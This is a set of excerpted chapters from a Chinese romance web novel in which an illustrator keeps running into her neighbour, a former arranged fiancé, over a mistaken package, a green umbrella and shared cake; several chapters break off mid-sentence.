《拿错前夫哥的快递后》 1. 错误的快递 《拿错前夫哥的快递后》全本免费阅读 十二月,整座城市如同灌满水的沙漏倒置,干燥的气息习惯性地出逃,雨水淅淅沥沥地从月初连绵到月末。 雨滴从叶尖坠落,在路边溅起水花,打破水中虚幻的楼栋,也打断了许清也出神的视线。 她回过神来,推开满是雨点的窗户,摊开手心放到窗外。 一、二、三。 许清也低头看向路边平静的积水,心中默数三秒。 三秒过去,手心一片干燥。 “终于停了。” 她长舒了一口气,裹起沙发上的长款棉袄,全副武装地捞起手机推开了家门。 也许是自以为赢得了这场拉锯战的胜利,她的心情也难得的轻盈起来。 撞上雨季,除了采购吃的,唯一能让她出门的理由就只剩下拿快递了。 她实在讨厌带伞。 不巧的是今天实在太闲,她刚好愿意花上一整天窝在窗户边等雨停。 然而雨季之所以被称之为雨季,当然不是没有道理的。 许清也左脚刚刚踏出单元门,细细密密的雨滴就开始了新一轮攻势。这次雨点不大,却能很快沾湿衣料。 好在取快递的驿站离她住的单元很近。 她拉上帽子,把冻得麻木的鼻尖钻到衣领,深呼了一口气,准备一口气冲刺到驿站。 冷空气灌进衣领,许清也下意识皱了皱鼻子,抬头间对上一双浅褐色的眼眸。 “嗨……”她伸出半只藏在袖子里的手。 男人鸦黑的刘海半湿着贴在额前,显出几分和他冷硬的长相格格不入的乖顺。 纯黑色的行李箱边明明挂着一把长柄伞,雨水却细密地粘湿了他身上那件浅灰色的大衣。 冷调的毛呢面料沾了水,仿佛在他身上包裹着一圈透明的小圆珠。雨雾蒙蒙地笼在周身,把他冰冷的气质也打湿了几分。 看起来似乎比平时也好亲近几分,就像一只……落水的阿拉斯加。 “这雨下的真不…”巧。 许清也一句鬼迷心窍的寒暄还没说完,男人就点点头移开了视线,拖着箱子从许清也身边擦肩走过。 拒绝寒暄的态度十分明显。 简直是多余的关心。许清也懊恼地偏开了视线,心中默默收回刚刚的评价。 阿拉斯加比他通人性太多了。 路上不少水洼,他走的快,箱子不免溅起水花。 许清也下意识回头检查自己雪白的宝贝大棉袄。溅起的雨水没溅到她的棉袄上,倒是他的长柄伞孤零零地靠在单元门口。 她只犹豫了一秒,就转身跑进了雨中。 当然,犹豫的一秒里,她还是不可避免地想起了去年送暖居礼的尴尬。 “我送的礼物很差吗?”她叹了口气,“就算不需要,至于连门都不开吗。” 算了,她跟路薄又不熟。误会搭讪他这种事,发生一次就够了。 至于这把伞能不能回到主人手上,就看缘分好了。 “啊秋——” 也许是因为家里蹲真的容易把体质蹲差,许清也刚一踏进驿站,就打了个响亮的喷嚏。 “小也,这天气最容易生病,你怎么不撑把伞就跑过来呢。” 还没进驿站,许清也就收到迟阿姨十二分不赞同的眼神。 “我以为雨停了。” 她拨下帽子,尴尬地摸着红彤彤的鼻尖笑起来。走近两步,才看到桌上还没收好的保温盒。 “这天气雨会停?” 迟阿姨没好气地哼哼道,接着打开收了一半的盒子,招呼她坐下来。 “我给枣枣炖了点汤,你这会淋了雨,正好喝点汤暖暖。” “不用了迟阿姨,我拿个快递就回去了。” 许清也抬头看了一眼不妙的天气,赶紧拒绝了。 再说了,她不想总是麻烦池阿姨。 迟枣枣是她在这座城市唯一交心的朋友,因为迟枣枣的关系,迟阿姨平时已经够照顾她的了。 何况那个小小的保温瓶一看就装不了多少汤。 “家里也有热汤的,真的不用了。” “什么汤?方便面汤吗?” 迟阿姨虽然无奈,但也没勉强。就是转头去给她拿快递时还不忘叮嘱道: “小也,你回去赶紧洗个热水澡,这种天气的寒气可不是开玩笑的。” “你身体还没好全,最忌讳受寒。” 哦,看来迟枣枣把她的感冒形容得很严重。 许清也左右看了看,难得没看见迟枣枣人影,顺势岔开话题问起她来: “我知道啦阿姨。” “不过,枣枣她人呢?” “一句话不说就跑出去了,谁知道她是去哪了?”说起迟枣枣,迟阿姨瞬间黑了脸。 “驿站也是她自己要开,现在又把店丢在这不管。” “枣枣应该是有事,她一直对驿站很用心的。” 眼看迟阿姨越说越恼火,许清也忍不住为迟枣枣说话。 “我要不是看她用心,才不会点头让她开的。” 迟阿姨勉强消了点气,她这是典型的刀子嘴豆腐心。 等找完许清也的快递扫码出库,迟阿姨视线落到迟枣枣暂停的偶像剧上,又忍不住念叨起来。 “成天就知道看偶像剧,追星那钱是一点没少花,人呢,追到了吗?” 许清也接过快递,决定保持沉默不火上浇油。 毕竟这点上迟枣枣的确没少花钱花精力。 “我看刚刚那个来拿快递的小伙子就不错,长得跟这偶像剧里的男主角也不差,池枣枣就一点不知道近水楼台先得月!” 许清也忽然想起刚刚遇见路薄的时候,他手里似乎拿着个快递盒子。 迟阿姨说的小伙子是他? 她心里忍不住暗道:皮囊的欺骗力果然是一流的。 路薄的确长了张极具欺骗力的脸,但礼貌欠缺到这种程度,再帅的皮囊也救不了。 他只要一张口,魅力指数不止是从100%骤降到0%这么简单。 去年迟枣枣听完“暖居礼事件”的始末后,也瞬间从颜粉倒戈加入了声讨他的队伍。 许清也还没回过神来,怀里就被迟阿姨塞了把伞,接着推出了门。 “赶紧回去洗澡!” 她只好乖乖点头,抱着快递回家去。 走到单元楼下,她的视线不由自主地飘向单元角落。果然—— 那把墨绿色的长柄伞依然孤零零放在门口。 她抬头看向路薄家 2. 比暗恋更实际的可能性 《拿错前夫哥的快递后》全本免费阅读 玻璃上的雾气越来越重,窗外的霓虹灯被模糊为各色的光点,交杂在透明的床上。 窗外非但雨不停,甚至开始打雷。 “啪——” 路薄泄气地把笔往桌子上一摔,指尖碰到的除了冰冷的桌面,还附带潮湿的水雾。 半干的发被他揉的一团糟。 白皙修长的手指烦躁地一把将额前的刘海抹到头顶,叹了一口气。 芝士迈着模特步优雅地从台灯地下走到笔记本边,挡住大半灯光,用一种居高临下的眼神探头。 桌面上都是水雾,它路过之处自然而然地印下一串梅花状的印记。 “喵——” 毛茸茸的脑袋还没探到笔记本前,后颈就被路薄两指掐住提了起来。 “谁准你看了?” 路薄又是啪地一声合起了笔记本,把猫主子拎到桌下。不仅无视芝士哀怨的叫唤,还顺带摸了一把它柔软的肚皮。 “吃吧。” “我刚才写的又不作数,你看了也没用。” 顺手给芝士加了个餐,他才嘟囔着坐回座位,看着五颜六色的笔筒发呆。 等他回过神来,笔记本上已经被他较劲一般地画上了五颜六色的旋涡。 笔记本上的最后一行的字迹已经被厚厚的几层颜色涂上。 两分钟后,路薄拿出笔筒里一支粉色的彩铅,重新写完了最后一行的内容。 迅速合上笔记本的他没有看到。 “许清也”几个字沾上了桌面上潮湿的水雾,正偷偷地晕开一片彩色的墨花。 除了楼下这位用彩铅画圈圈的办法,用旋涡蹂躏纸张,其实还有一种赛博的方式。 许清也刚刚暴力地在数位板上一口气涂完若干旋涡,立刻就后悔地查看笔尖。 烦躁的心情敌不过肉疼。 稿子没画出来,她可不想没了奖金又折设备。 秉持着睡门的人生信条,既然画不出来,那许清也决定干脆就睡一觉。 睡一觉,低成本高回报的解压方式。 她完全没有负担地关掉了电脑,迅速上床裹好了被子。 “啪-” 利落地关掉白炽灯,许清也心满意足地闭上眼,感受着柔软的被子包裹身体的幸福感。 没错,就是这样,接着是睡着。一觉到天亮,然后起来精神百倍地画完稿子。 不幸的是,两个小时过去,她还是没能睡着。 期间许清也起床喝了三次水,上了一趟厕所,五次拿起数位板又放下,反而越来越清醒。 最后,她拿着美工刀站到了一片漆黑的玄关前。 干脆还是把快递给拆了吧,把书给拿出来当作睡前读物。 蹲下的时候,许清也的余光撇见靠在鞋柜边的长柄伞。忍不住,瞥了一眼又一眼。 伞是墨绿色的,伞骨的设计简单利落,木制的把手拎起来很实在。实话说,这种伞光是好看,拿起来笨重又不好携带,所以她好像只买过一次。 倒是挺好看的。 拆开图书塑封,深蓝色的封面看起来就像蔚蓝深邃的夜空。许清也抱着《小王子》,躺回了床上。 “当我还只有六岁的时候……” 才看了两章,一阵困意袭来,她深深打了个哈欠,赶紧趁着机会闭上双眼。 不愧是不相信童话的许清也。 几个呼吸之间,她就沉沉坠入了梦境。 梦里她穿着大红色的华丽礼服,满头大波浪的卷发上戴着镶满钻石的皇冠。不过那皇冠一点也不显得土气或是廉价,完全就像是把一小条闪着碎光的银河戴在头上。 吹弹可破的皮肤,小巧的樱唇,扑闪扑闪的大眼睛。简直天生丽质。 许清也忍不住开心地在一人高的大镜子面前转圈。 转着转着,脚下瓷白的地砖忽然变成了沙漠。高跟鞋陷进沙子里,瞬间让她失去了平衡,差点狠狠摔上一跤。 好在关键时刻,一双修长有力的手拉住了她。 不过为什么不拉手腕,要拽着她的手指? 弄得她站稳的一瞬间就听到指节清脆的响声,差点以为自己手指给人拉断了。 这么不近人情的做法,好像有点熟悉。 许清也抬头一看。果不其然,就是路薄那张又帅又讨人厌的脸。 他居然穿着一身中世纪的王子服装,头上那个闪着金光的皇冠似乎是纯金的,看起来不仅累得慌,还有点滑稽。 乌黑的刘海柔顺地垂在额前,配上他那无辜的眼神和漆黑纤长的睫毛,似乎在说: ——我帮了你,你干嘛瞪我。 许清也甩开他的手,宝贝地对着自己微红的手指吹气。 “你搞什么?cosplay吗?” 她问得理直气壮,好像忘记了自己也一样穿的珠光宝气,浮夸至极。 路薄好像听不懂她的话一样,睁着他那双无辜的大眼睛看了许清也半天,把一张空白的牛皮纸塞给她。 “你帮我画一只羊吧。” 话也没头没脑的。许清也刚要拒绝,天空突然电闪雷鸣,下起了倾盆大雨。 “你干嘛下暴雨。” 路薄皱起眉,语气很无奈。 许清也听得莫名其妙,指着自己不可置信地问: “你凭什么说是我下的?” “刚刚,你心里下雨了。”他诚恳道。 “我怎么都不知道我还有这种超能力?再说谁知道沙漠还能说下雨就下……” 话还没说完,头顶不断滴落的雨点就忽然停了。许清也下意识抬头看,一把墨绿色的长柄伞遮住了头顶的雨,勉强连同她张扬的裙摆都刚好收入保护圈中。 路薄撑着伞,站在她身边。 为了让一把伞容纳两人的位置,他离得很近,许清也几乎能感觉到他的呼吸打在她耳后。热热的,有点痒。 “伞是给你的,别再还我了。” 他说话的时候低头看着她,眼神竟然有点深情。许清也从他的目光中狼狈地逃开,视线掠过他挺拔的鼻,落到他起伏的喉结上,然后猛地闭上了眼。 木制的伞柄被他塞到许清也手里,他捧着那张牛皮纸,虔诚地问她: “你能帮我画一只羊吗?” 许清也从来没觉得手里的笔那么烫手过。 三下五除二画了一只简笔的羊羔,她欣赏着自己随手的作品,心里难得有点小满意。 她抬头看路薄,准备从他脸上收获理所当然的惊艳,再不济也得是满意。结果却看到他突然冷下脸,嫌弃道: “好丑。” “真的好丑。”他似乎嫌刚才表达的不够准确,又诚恳地重复了一遍。 他又恢复了那个不通人性的路薄。正常,太正常了。 许清也说服自己不要生气,但她就连火红的裙摆都开始燃起小束的火焰。完全克制不住怒火。 “我这两天画了无数比这精美得多的稿子,我都没觉得这么满意过。” “你懂什么?” 话音刚落,她忽然疑惑地皱眉,想起了什么。 不对,我不是公主吗? 公主为什么要画稿子? “因为得上班!”路薄不知道什么时候凑到她耳边轻轻说。 短短五个字,吓得许清也出了一身冷汗。 睁眼之后,她立马翻身冲进了浴室。 短暂洗漱后,她在吃早饭和迟到里短暂犹豫了五秒钟,抓上托特包就要穿鞋。 可是包好像有点轻得过分。 许清也停住穿鞋的动作,后知后觉地反应过来: 她还在休假呢,这是上的哪门子班? 许清也 3. 十二点的辛蒂瑞拉 《拿错前夫哥的快递后》全本免费阅读 很明显,迟枣枣把两年前那件事忘了。 不过这也很正常,因为这把伞很明显只是抓马海洋中一朵不起眼的浪花。 “行了行了,你还是赶紧回去好好看店。” 吃完早饭,许清也毫不犹豫地赶客。 “这种拿错快递的受害者,我看有我一个就够了。” 她把迟枣枣的包挂到她肩膀上,发自内心地深深叹了口气。 “怎么就受害者了,这事搁人家那都是偶像剧标准开头,也就你俩不争气。”迟枣枣被她推着后背离开家门的时候还不服气地辩解。 “再说了,你不是休假吗宝宝?干嘛这么着急赶我走啊。” 顺手拿起摆在玄关处的长柄伞,许清也一边整理刚才瘫倒弄乱的衣领,一边简单利落地回答。 “我有事。” “什么事?要出门吗?”迟枣枣抖了抖还没沥干的伞。 “我即将化身海燕。” “啊?” 许清也悲痛的一字一句道: “因为我要去直面风暴。” —— 路薄家门口只有一块浅灰色的地毯,他对面没住人,楼层平台空荡荡地,连物业一开始送的发财树都不见了踪影。 估计要么被他养死了,要么被他丢了,或者两者兼有。 许清也一站到他门口,就不可抑制地想起来昨晚开门的情况。 雷电交加,狂风大作。现在想想她就是扣了个加装的保险栓就敢给陌生男人开门,也是“勇敢”。 不过严格来说,他也不算是陌生人。 毕竟两年前他们就已经是见过家长的关系了。 “扣扣——” 她硬着头皮敲响了路薄家的大门。 三秒后,路薄穿着单薄的白T出现在她面前,他白皙的脸上泛着不正常的微红,微长的发还滴着水滴。 显然是刚洗完澡没多久。 时隔两年,许清也还是忍不住为这副皮囊心神一晃。 “你找我?” 路薄的声音细听之下有点哑,不知道是不是因为昨天淋了雨的缘故。不过他的语气倒是疏离的很正常。 他的视线落在许清也手上那把墨绿的长柄伞上,等待她的回答。 “对,我来还伞。”许清也把伞朝他递了递。 “这把伞是你的。” 他挑眉回答,还是垂眼看着那把伞。 不知道为什么,许清也竟然感觉在这句话中读出了一丝委屈。 “我看过伞带了,这把不是我的伞。还是得还给你。” 许清也忍着尴尬解释,却没想到他会反驳。 “你的那把我不小心弄丢了,就当我赔你的,这把伞就是你的。” 长睫掩住他眸中的情绪,许清也一时不知道该如何说下去。 毕竟两年前的那场订婚宴,准新郎迟到、准新娘逃跑,真可谓是豪门圈里的一段永恒经典,抓马中的远古神话。 他们俩,恐怕至今都是圈子里家长教育小孩的典型反面例子。 “我能不能求你件事?” “你说。” 许清也看着他越来越冷的脸,感觉再不说恐怕说了也没用了,一鼓作气道: “你能不能先别告诉我爸妈我住这儿。作为回报,你要是不想让父母知道你的住址,我肯定会守口如瓶……” “行。” 路薄打断她的话,答应得出奇轻易。 “至于我父母,随你告不告诉他们。”他最后一句话说的很轻,许清也却听清楚了。 “他们即使知道,也不能改变什么。” 门被啪地一声关上,许清也拿着伞站在门外,还没从他那句话中回过神来。 还真霸道,看来两年不见,路薄已经有全力反抗联姻的底气了。 要是两年前就这样,也许两家还不至于弄得这么尴尬。 她把伞轻轻靠在路薄家门口,忽然想起来他刚才开门的时候只开了一条一人宽的缝,足够让他站在门缝中,跟她对话而已。 关于门后的一切,路薄一点也不想让她看到。 上楼的过程中,她不可避免地回想起这一年里他家莫名传出的哭声,还有他隔三岔五拖着大行李箱离开的背影。 思及路薄刚才冰冷的眼神,许清也背脊一阵冰凉。 他该不会,在做什么犯法的事情吧? —— 她突然加快的脚步声,以及楼上砰的一声关门巨响,全都清晰地落入了路薄耳中。 许清也敲门的时候,他正要去拿吹风机吹头发。可关上门的时候,却忽然只想就这样坐在沙发上,什么也不干。 额前的发上滴落下水珠,滴在崭新的布艺坐垫上。 芝士不知道从哪里窜出来蹲在了他脚边,蹭了蹭他的裤腿。 他伸手想摸摸它的脑袋,手伸到半空中,却被一阵系统自带的电话铃声调转了方向。 “你还好意思打来?” 电话那头的人听到他不善的语气,沉默了半天,直到路薄挂电话的边缘,才求饶道: “别别别你先别挂。” “这不科学,就按你昨天跟我说的那一套,我还夸你铁树开花呢。” 路薄没心情听他的口水话,正要挂电话,芝士却忽然跳到沙发上,按开了几乎落灰的电视。 开屏的啤酒广告看得他若有所思。 “路远,你带两瓶啤酒来我家。” 电话另一头的陆远躲在片场的角落里,差点被他惊得叫出声。 “不是,哥你啥时候学会喝酒的?” “不愿意来就算了。”路薄只是一时兴起,话一说完,就有些后悔了。 “我来我来!我最后一场戏拍完就来。” 陆远没给他后悔的机会。 为了这一句话,陆远超常发挥地完成了最后一场拍摄,赶去买啤酒的时候,导演还夸奖他演技又进步了。 直到他兴致冲冲地做到路薄家的客厅,拉开两罐啤酒放到两人面前,才被路薄一个简单的动作弄破防了。 路薄打开一罐牛奶,把面前的啤酒推到了陆远跟前。 “哥,你难过,为什么是我喝酒?” 陆远无语地指着自己,那张被粉丝称为第一建模神颜的脸,显然表情有些崩裂。 “她看不见,我就没有勉强自己喝的必要了。” “这不是你说的吗?”路薄神情很坦然。 “……” “不喝就不喝,我今天正想喝呢,你不喝都给我。”陆远狂灌一口啤酒,话匣子根本合不上。 “哥,你不知道今天那个黑粉剪的视频有多恶心我……” 他的话匣子合不上,自然有人来钉死。 啰啰嗦嗦说了一圈,路薄干脆连一个眼神都不抬,陆远顿失说下去的兴趣。 “你不是说这样做很完美了吗?” 路薄终于抬头,蹙着眉追问。 “可她今天来还伞了。” 如果忽略他嘴角那点不明显的奶渍,路薄现在的神情堪称是三分失落、七分破碎,扇形图般展现悲伤。 “哥,你不去当演员真的有点可惜了。” 陆远好不容易憋住笑,却后知后觉地说了不该说的话。 路薄的神情瞬间冷下来,客厅里只剩下芝士走动的微弱声响。 芝士蹭到桌边,扒拉起路薄的那罐啤酒。 路薄冷着脸抱起芝士,转身去厨房端出了给芝士的做的专属加餐。 “那个不是给你喝的,吃这个吧。” 他摸着芝士的后颈,芝士在他修长瘦削的指尖蹭了蹭,发出愉悦的咕噜声,随即欢快地吃了起来。 总是不在家,路薄不得不让人按时上门来照顾芝士。觉得亏欠,所以人在家的时候,他总是亲自下厨给它做好吃的。 陆远低着头降低存在感。心里却感慨: 他这个“叛逆”的哥,其实是个很长情的人。 感慨着,眼前忽然出现一盘散发着诱人香气的菠萝咕咾肉。 “吃吧。” 路薄递给他一碗米饭,拍了一把他的脑门,看着他因为静电竖起来的发丝,又忍不住笑了。 “ 4. 她逃他追 《拿错前夫哥的快递后》全本免费阅读 一袋子罐装啤酒见了底,指针转向十二点,路远已经四仰八叉地躺在茶几边睡着了。 路薄拍了拍芝士的脑袋,扯出被它压住的毯子,转头看见陆远毫无形象可言的睡姿,无奈地给他盖上毯子。 这小子。 要是被粉丝看见他这个样子,不知道还会不会把他奉为男神。 一向叽叽喳喳的人突然醉倒了,屋子里倒是一下子冷清了下来。 玄关的角落里摆着许清也上午还回来的快递,快递盒被一条颇具设计感的几何胶带重新粘好。 在她手中停留过的东西,总是以各种各样的方式留下她的痕迹。 门口靠着的那把墨绿色的长柄伞被路薄捡回了阳台。 两把一模一样的长柄伞依偎在窗台上,区别只是一把新,另一把的木制手柄已经有些变色。 他走到那把旧伞旁边,蹲下身去看伞带。 果然,伞带的内侧绣着有一串细小的数字。 如果不是数字是用同色的丝线绣上去的,又在内侧,路薄也不会这么晚才发现。 “她是小狗吗,怎么领地意识那么强。” 喃喃着,他又低头认真地把伞带绑了回去。 这串读不懂的数字被他暗念几遍,也始终读不懂其中的含义。 快递盒上那条可爱的胶带,被他小心翼翼地撕下来,贴在了日记本上。 摆在本子底下的《小王子》纸页泛着黄,倒和那本复古的日记本浑然一体。 不过复古的牛皮纸配上极具现代感的几何胶带,终究显得有点格格不入。 书桌上昏黄的灯光照着反光的图纸,路薄自然干的头发还带着潮湿的意味,神色冷峻的坐在桌前。 他脸色如临大敌,正仔细摆弄着面前红绿交杂的积木片。 陆远不记得自己是几点自觉爬上沙发接着睡的,只恍惚记得自己迷糊中看见路薄对着一堆红色积木傻笑。 铁树开花。 还真是怪吓人的。 —— “许编呀,身体现在恢复的怎么样呀?” 清早被上司的电话吵醒,尤其是一个失眠的清晨,许清也憋了一肚子火,却不得不清醒。 ——怼回去呀,问他大清早问候能好的了吗? 心中钻出一个一身黑的小人,正撺掇着许清也随着心情回答。 小人戴着大红色的恶魔牛角,却怎么看怎么像那天穿着黑西装的路薄。 不管路薄说话怎么不通人情,她暂时还没他那种说话的资本。 账户里惨淡的余额显示还需要工作来喂养,作为一个要对自己温饱负责的成年人,她实在潇洒不起来。 许清也一个激灵,彻底从睡梦中清醒。客气地回答道: “都好的差不多了,多亏主编准我的年假,我才能好好休养。” “休养好了就好,咱们部实在是缺不了许编这员大将啊。” 袁主编的声音很客气,但许清也几乎是一听就知道他下一句是什么。 不就是提前两天回去上班吗? 为了工资,打工人没什么不能答应的。 挂断电话,从早上九点到晚上七点,她的休假仿佛只是一个梦,从一整天忙得昏头转向的生活中偷偷溜走了。 直到赶着地铁的“滴滴—”声,狂奔着赶上这一班地铁。 许清也喘着气握住扶手,身体随着开动的地铁摇摆倾斜两秒,短暂地放空。 因为画不出稿子而休假的她,提前回归工作岗位,不出所料地还是画不出。 她的休假还剩两天才结束,杂志社除了同部门的同事,都不知道她提前回来工作的事情。 可能正因如此,有些原本只留在小群组里的话,在茶水间也有了听到的机会。 “这段时间都忙成什么样了,也就她还能休上假了!” “没办法,人家是美术组的顶梁柱,袁主编的心间宠呗。” 文编部的文晓跟她是同期进的杂志社,一向跟她面和心不和,她会说这种话简直太正常了。 听到她的话,许清也只会翻个白眼,腹诽这福气给你要不? 真正让她意外的是在一边积极附和她的实习生小栗。 分明休假前还一副舍不得她的样子,说是舍不得她这么好的mentor。 明知道这种话百分之九十九属于人情世故,许清也还是忍不住在乎剩下的百分之一。 倒不是感觉到背叛,只是有点不舒服。 就像穿着短袖恰巧站到了地铁空调的出风口下。正常、也能忍,总之她白皙纤细的手臂上还是会起鸡皮疙瘩。 许清也随手划开手机,忽然想起早上主编说会同步更新的微博账号,百无聊赖地点了进去。 视线停留在昨天更新的系列插画上,她松开扶手,蹙眉点开图片。 “下一站林泽路站,可换乘五号线……” 冰冷的播报声提醒着乘客,许清也匆匆熄灭手机屏幕,快步出了地铁站。 刚才看到的插画图片不断复现在脑海中。 那是她休假前完成的最后一篇插画,当时她情绪不好,跟二编的孙编辑简单沟通了想法,就没继续跟进后续的工作。 可官博同步发布的插画,插画的形象概念都被做了大改动,作者栏赫然写着孙霏霏的大名。 质问的内容在编辑框打了又删,许清也最终还是只发了一句: “插画的内容改动好像挺多的,霏霏你怎么没跟我说。” 官博发了、杂志印了、全部的媒体平台肯定都一块更新了。现在来追究大改或是署名的问题已经没了意义。 牵扯到的成本太大,总归不会为了她改的。 许清也发这一句,只是有点失落。 而她应对负面情绪的方法一向很简单。从地铁站暴走到单元楼下,许清也按亮电梯,看着从十开始递减的数字显示,转身选了楼梯。 走到六楼平台的时候,她忍不住朝门口看了一眼。 路薄家门口空荡荡地,看来他还是把雨伞收回去了。 走到六楼与七楼的交界处,小腿开始酸胀着叫嚣需要休息。 许清也拍了拍阶梯上的灰,把夹在门把手上的广告纸垫在楼梯上,一阵忙活,才沉了口气,裹了裹大衣靠着墙角坐下来。 她今天的衣服颜色很浅,她是想找个地方崩溃一会儿,不是想找件弄脏的衣服来洗。 “还真没出息。” 低头看见一片安静的消息界面,许清也用指尖沿着眼眶轻按了按,憋回了眼眶的湿意。 “嗒—搭——。” 声控灯忽然熄灭,又被一阵极近的脚步声踩亮。 楼上一片空荡,那声不算响的关门声似乎来自楼下。她挪了挪位置,隔着栏杆,朝楼下看去。 男人套着一件纯黑运动装,单手将黑色口罩挂到耳后,似乎嫌恶地将手上的塑料袋往身体外侧提了提,顺着墙边下楼。 许清也还没看清他 5. 请你吃小蛋糕 《拿错前夫哥的快递后》全本免费阅读 手机被路薄扯着一端拉到两人面前,许清也眼疾手快地按下锁屏键。 “当然不至于。” 她尴尬地笑着,悄悄伸出另一只手,两指捏着手机,一点一点从他手中抽回手机。 晃动间,手机锁屏亮起。 一片平涂的绿茵中,几只胖乎乎的鸟儿抖着金黄的翅羽,挺着雪白的肚子靠在一起。 路薄的分神地盯着已经重新暗下去的屏幕。 察觉他的目光,许清也下意识又按了按锁屏键。 “走吧。” 看他感兴趣的样子,许清也还以为他会问些什么。结果他却垂头重新扎紧了垃圾袋,先一步转身下楼。 “去哪?” 刚才情绪起伏太大,许清也的脑袋罕见地没转过弯来,隔着三四步的距离跟在他身后下楼,傻傻地追问。 路薄闻声回头。 从他那张波澜无惊的脸上读出惊讶的瞬间,许清也的脑袋就恢复了正常工作。 “各回各家,当然是各回各家!” 她抢答般道,加快了脚步掩饰尴尬。 路薄站在台阶末,眼看她就要走到他面前,他却停在原地不动。 “怎么了?” 许清也在高他一格台阶的地方停下,顺着他的视线回头,身后一片空荡。 “你的大衣脏了。” 他拎着垃圾的手小幅度地一抬,伸出另一只手拉上了口罩。 “我会赔一半的。” 许清也低头看向小腿侧那片灰扑扑的位置,猜测可能是刚才蹭上了墙灰。 这点程度的灰仔细拍拍、洗一次也就掉了,对她来说根本算不上需要赔偿的地步。 这种倒霉程度她简直太习惯了,根本不放在心上。 可他为什么说出赔一半? “不用赔了。” 她伸手拍了拍那片灰白的衣料,余光瞥见路薄低着头,鸦黑的长睫下似乎掩着愧疚。 稀奇,不近人情的他居然会为了免了一半的赔偿而愧疚。 “你忘了我家是干什么的了?本小姐不差钱。” 许清也故作潇洒地开口。 许氏是科技公司,她也是真“大小姐”,只不过这位大小姐账户里此时只剩下两千元紧巴巴的生活余款。 “我会赔的。” 路薄在这种时候显得尤其固执。 说完,男人就自顾自转身下楼,银质拉链的银白光一闪,完全没有商量的态度。 赔钱还给他赔出霸总味了。 许清也不爽地跟上,语气满是无所谓。 “你要赔就赔好了,反正要不是你追,我才不会一路跑。” 身前的男人忽然又顿住脚步,她心情烦躁,一脑门撞上了他坚硬的背脊。 “又怎么了?” 耐心告罄,许清也揉着脑门,正要强势谴责他一惊一乍的行为,肚子却不争气地咕咕叫了一声。 声音不大,但在寂静半封闭的楼道里,回声加持,就格外明显了。 “我是想提醒你看看最近的社会新闻。” “市区最近有假装发广告的人上门踩点,看到独居女性,有的甚至直接入室抢劫。” 路薄显然也听见了她肚子的强烈抗议,话里依然严肃认真,声音里却带着低沉的笑意。 许清也垂眸看了一眼自己手里抓着的小广告,有些囧然。 闷在心里的委屈和气愤瞬间化作水蒸气袅袅挥发在空中。 气氛忽然陷入奇怪的安静中。 “你……要不要吃蛋糕。” 路薄首先打破沉默,迟疑地问道。 “不…” 拒绝的音节还没出口,肚子就不争气地发出馋嘴的信号,她只好红着脸点点头。 “那就谢谢你了。” 她是个不爱欠人情的人,立刻过意不去地补充: “我下次请你吃饭。” 滴答— 二人同时追着声音看向路薄手中的垃圾袋。 腥臭的液体再次滴落在地,空气中弥漫着一股腐烂的臭味。 许清也指了指地上的污迹,提醒道: “不过,你还是先把这个扔了吧?” —— 路薄小跑着扔完了垃圾,在楼下便利店买了一包纸,动作利落而仔细地一路从楼下清理到楼上。 直到清理到自家门口的时候,才发现许清也就等在他家门口。 她还穿着那件白色大衣,捏着广告纸,看着手机壁纸发呆。裹着大衣蹲在门口的样子,小小一团,像一片太容易融化的雪。 路薄站在楼道间,一瞬不移地看着她。 “哦,你回来啦。” 许清也抬头看见他拎着白色塑料袋的身影,笑眼中带着细小的惊喜。 她的语气并不像措辞那么欢快,仍然带着掩饰不去的疲惫与伪装。 “我想着你应该很快就回来,索性在这里等你了。” “不过你这是,扔了一袋子,又换了一袋垃圾回来?” 揉了揉蹲的酸胀的小腿,许清也玩笑话说得自然。 “滴在地上的污渍得处理。” 路薄依然傻站在楼道间,她站在灯下说话的样子照着声控灯橘黄温柔的光,让他平白生出一股不该有的错觉。 “开个玩笑啦,你快开门吧。” 许清也今晚自觉丢脸太多,在他面前多了些破罐子破摔的感觉。索性为了小蛋糕,不矜持地催促。 实际上,她也的确好奇他家里究竟藏了什么,需要摆出上次那么防备的样子。 路薄的薄唇抿作一条直线,眼神似乎挣扎了一瞬,最终点了点头。 钥匙在门锁上转了两圈,门咔地一声打开,他站在玄关处不自然地左右看了一眼,才伸手打开客厅的灯。 “抱歉,拖鞋只有这个鞋码。” 他白皙修长的手拎着一双蓝色的男士拖鞋,在许清也面前的放下,骨节分明的指节在拖鞋边缘短暂停留。 直到他站起身,许清也才看清他刚才指节盖着的地方,绣着几颗鹅黄的小星星。 “这双是新的。” 怕她介意,路薄又冷不丁补充了一句。 许清也了然地点点头,换上拖鞋,礼貌地打量他的客厅。 客厅的色调出乎意料的明亮,白色的布艺沙发上垫着几块几何风格的钩织坐垫,一旁的落地灯边还靠着一个台灯大小的玻璃罐,养着一株看不出品类的植物。 明亮、干净,充满原木色的装修跟他本人的风格完全不符合。 果不其然,一转身,许清也就在房门口的橡木色衣帽架上发现了几件颜色鲜亮的卫衣。 她一眼就看见了挂在顶端的那件深绿色的美式卫衣。 她想,路薄皮肤白,穿这件颜色一定更加白到透明。 “许清也。” 路薄站在餐厅的木桌前,喊她名字的时候,还带着点学语般的生涩。 “小蛋糕在冰箱里,已经有点冷了。” 许清也闻言回头,一双清亮的鹿眼中满是疑问懵懂,歪头的样子似乎在无声地问他: 所以呢? 你打算出尔反尔 6. 流星和她 《拿错前夫哥的快递后》全本免费阅读 发黄的叶脉飘落路薄手中。 紧张跳动的心脏终于抓到了实处,心跳声慢慢平静下来。 很久没有仔细去这张书签,他低头看向手心陈旧脆弱的叶脉,依旧一眼就能想起它深绿又满是生命力的夏天。 路薄捡到这片落叶,是在三中门口的那条林荫路上。 —— 暑气燥热的夏天,单单是蝉鸣,有时就让埋头写试卷的学生们叫苦连天。 教室里老旧的电风扇一旦扇起来,总是带着细小的机械声。 临窗的同学把做完的练习报糊满半个窗,勉强挡住午后耀眼的阳光。高考后半个多月,这层报纸上就沾上了薄薄的一层灰尘。 完美完成使命后,这些报纸即将被清扫干净。 “唉你看,这不是老周那节数学课上你画的吗?” “还真是。” 领档案的日子,教室里的少年们三五成群地热聊。 “唉,讲台地下怎么还有老班布置的周练卷子啊?” “要不今天一人领一张回去,现在这年纪,就得努力努力再努力!” 班长学着班主任每天课前的标志语录,故意作怪地摇了摇手上的试卷。 底下人瞬间哄笑。 教室里布满了平时让人讨厌的点点滴滴,但放在今天,就连老电扇吱呀的工作声都显得令人怀念。 但这种怀念暂且还没有转化成多少怀恋,领完了档案,没多久人就陆陆续续走的差不多了。 “喂,许清也?” 班长数着剩下的几份档案,切断耳机里的旋律,拨通了电话。 